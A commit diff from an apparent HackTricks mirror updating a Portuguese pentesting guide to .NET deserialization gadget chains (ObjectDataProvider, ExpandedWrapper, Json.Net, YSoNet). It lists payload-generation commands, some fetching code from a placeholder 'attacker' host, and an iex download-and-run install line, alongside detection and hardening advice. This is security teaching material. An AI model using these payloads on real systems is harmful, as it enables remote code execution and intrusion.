mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/basic-.net-deserializati
This commit is contained in:
parent
8687d442f9
commit
cbf46e9e20
@ -22,7 +22,7 @@ Como você pode observar, quando `MethodName` é definido, `base.Refresh()` é c
|
||||
|
||||
.png>)
|
||||
|
||||
Ok, vamos continuar vendo o que `this.BeginQuery()` faz. `BeginQuery` é sobrescrito por `ObjectDataProvider` e é isso que ele faz:
|
||||
Ok, vamos continuar vendo o que `this.BeginQuery()` faz. `BeginQuery` é sobrescrito por `ObjectDataProvider` e isso é o que ele faz:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -32,7 +32,7 @@ Note que no final do código está chamando `this.QueryWorke(null)`. Vamos ver o
|
||||
|
||||
Note que este não é o código completo da função `QueryWorker`, mas mostra a parte interessante dela: O código **chama `this.InvokeMethodOnInstance(out ex);`** esta é a linha onde o **método definido é invocado**.
|
||||
|
||||
Se você quiser verificar que apenas definindo o _**MethodName**_** ele será executado**, você pode executar este código:
|
||||
Se você quiser verificar que apenas definindo o _**MethodName**_** ele será executado**, você pode rodar este código:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
@ -56,9 +56,9 @@ Note que você precisa adicionar como referência _C:\Windows\Microsoft.NET\Fram
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
Usando a exploração anterior, haverá casos em que o **objeto** será **desserializado como** uma instância de _**ObjectDataProvider**_ (por exemplo, na vulnerabilidade do DotNetNuke, usando XmlSerializer, o objeto foi desserializado usando `GetType`). Então, não terá **conhecimento do tipo de objeto que está encapsulado** na instância de _ObjectDataProvider_ (`Process`, por exemplo). Você pode encontrar mais [informações sobre a vulnerabilidade do DotNetNuke aqui](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
Usando a exploração anterior, haverá casos em que o **objeto** será **desserializado como** uma instância de _**ObjectDataProvider**_ (por exemplo, na vulnerabilidade do DotNetNuke, usando XmlSerializer, o objeto foi desserializado usando `GetType`). Então, não terá **conhecimento do tipo de objeto que está encapsulado** na instância de _ObjectDataProvider_ (por exemplo, `Process`). Você pode encontrar mais [informações sobre a vulnerabilidade do DotNetNuke aqui](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
|
||||
Esta classe permite **especificar os tipos de objeto dos objetos que estão encapsulados** em uma determinada instância. Assim, esta classe pode ser usada para encapsular um objeto fonte (_ObjectDataProvider_) em um novo tipo de objeto e fornecer as propriedades que precisamos (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
|
||||
Esta classe permite **especificar os tipos de objetos dos objetos que estão encapsulados** em uma determinada instância. Assim, esta classe pode ser usada para encapsular um objeto fonte (_ObjectDataProvider_) em um novo tipo de objeto e fornecer as propriedades que precisamos (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
|
||||
Isso é muito útil para casos como o apresentado anteriormente, porque seremos capazes de **encapsular \_ObjectDataProvider**_** dentro de uma instância de **_**ExpandedWrapper** \_ e **quando desserializado** esta classe **criará** o objeto _**OjectDataProvider**_ que irá **executar** a **função** indicada em _**MethodName**_.
|
||||
|
||||
Você pode verificar este wrapper com o seguinte código:
|
||||
@ -89,7 +89,7 @@ Na [página oficial](https://www.newtonsoft.com/json) é indicado que esta bibli
|
||||
|
||||
### Exemplo Json.Net
|
||||
|
||||
Primeiro, vamos ver um exemplo de como **serializar/desserializar** um objeto usando esta biblioteca:
|
||||
Primeiro de tudo, vamos ver um exemplo de como **serializar/desserializar** um objeto usando esta biblioteca:
|
||||
```java
|
||||
using System;
|
||||
using Newtonsoft.Json;
|
||||
@ -184,4 +184,49 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
}
|
||||
}
|
||||
```
|
||||
## Cadeias Avançadas de Gadgets .NET (YSoNet & ysoserial.net)
|
||||
|
||||
A técnica ObjectDataProvider + ExpandedWrapper introduzida acima é apenas uma de MUITAS cadeias de gadgets que podem ser abusadas quando uma aplicação realiza **desserialização .NET insegura**. Ferramentas modernas de red-team, como **[YSoNet](https://github.com/irsdl/ysonet)** (e a mais antiga [ysoserial.net](https://github.com/pwntester/ysoserial.net)), automatizam a criação de **gráficos de objetos maliciosos prontos para uso** para dezenas de gadgets e formatos de serialização.
|
||||
|
||||
Abaixo está uma referência condensada das cadeias mais úteis incluídas com *YSoNet*, juntamente com uma rápida explicação de como funcionam e comandos de exemplo para gerar os payloads.
|
||||
|
||||
| Cadeia de Gadget | Ideia Principal / Primitiva | Serializadores Comuns | Linha de comando do YSoNet |
|
||||
|------------------|-----------------------------|-----------------------|----------------------------|
|
||||
| **TypeConfuseDelegate** | Corrompe o registro `DelegateSerializationHolder` para que, uma vez materializado, o delegado aponte para *qualquer* método fornecido pelo atacante (por exemplo, `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | Abusa de `System.Workflow.ComponentModel.ActivitySurrogateSelector` para *contornar a filtragem de tipos .NET ≥4.8* e invocar diretamente o **construtor** de uma classe fornecida ou **compilar** um arquivo C# em tempo real | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | Aproveita a **representação XML** legada de `System.Data.DataSet` para instanciar tipos arbitrários preenchendo os campos `<ColumnMapping>` / `<DataType>` (opcionalmente falsificando o assembly com `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | Em tempos de execução habilitados para WPF (> .NET 5), encadeia getters de propriedades até alcançar `System.CodeDom.Compiler.CompilerResults`, então *compila* ou *carrega* um DLL fornecido com `-c` | `Json.NET` sem tipo, `MessagePack` sem tipo | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (revisão) | Usa WPF `System.Windows.Data.ObjectDataProvider` para chamar um método estático arbitrário com argumentos controlados. O YSoNet adiciona uma variante conveniente `--xamlurl` para hospedar o XAML malicioso remotamente | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | Incorpora `ScriptBlock` em `System.Management.Automation.PSObject` que é executado quando o PowerShell desserializa o objeto | Remoção do PowerShell, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
> Todos os payloads são **escritos para *stdout*** por padrão, tornando trivial canalizá-los para outras ferramentas (por exemplo, geradores de ViewState, codificadores base64, clientes HTTP).
|
||||
|
||||
### Construindo / Instalando YSoNet
|
||||
|
||||
Se não houver binários pré-compilados disponíveis em *Actions ➜ Artifacts* / *Releases*, a seguinte **linha de comando PowerShell** configurará um ambiente de build, clonará o repositório e compilará tudo em modo *Release*:
|
||||
```powershell
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||||
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
|
||||
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
|
||||
|
||||
git clone https://github.com/irsdl/ysonet
|
||||
cd ysonet
|
||||
nuget restore ysonet.sln
|
||||
msbuild ysonet.sln -p:Configuration=Release
|
||||
```
|
||||
O `ysonet.exe` compilado pode ser encontrado em `ysonet/bin/Release/`.
|
||||
|
||||
### Detecção e Fortalecimento
|
||||
* **Detectar** processos filhos inesperados de `w3wp.exe`, `PowerShell.exe` ou qualquer processo que deserializa dados fornecidos pelo usuário (por exemplo, `MessagePack`, `Json.NET`).
|
||||
* Habilitar e **impor filtragem de tipo** (`TypeFilterLevel` = *Full*, `SurrogateSelector` personalizado, `SerializationBinder`, *etc.*) sempre que o legado `BinaryFormatter` / `NetDataContractSerializer` não puder ser removido.
|
||||
* Sempre que possível, migrar para **`System.Text.Json`** ou **`DataContractJsonSerializer`** com conversores baseados em lista branca.
|
||||
* Bloquear assemblies WPF perigosos (`PresentationFramework`, `System.Workflow.*`) de serem carregados em processos web que nunca deveriam precisar deles.
|
||||
|
||||
## Referências
|
||||
- [YSoNet – Gerador de Payload de Deserialização .NET](https://github.com/irsdl/ysonet)
|
||||
- [ysoserial.net – ferramenta PoC original](https://github.com/pwntester/ysoserial.net)
|
||||
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user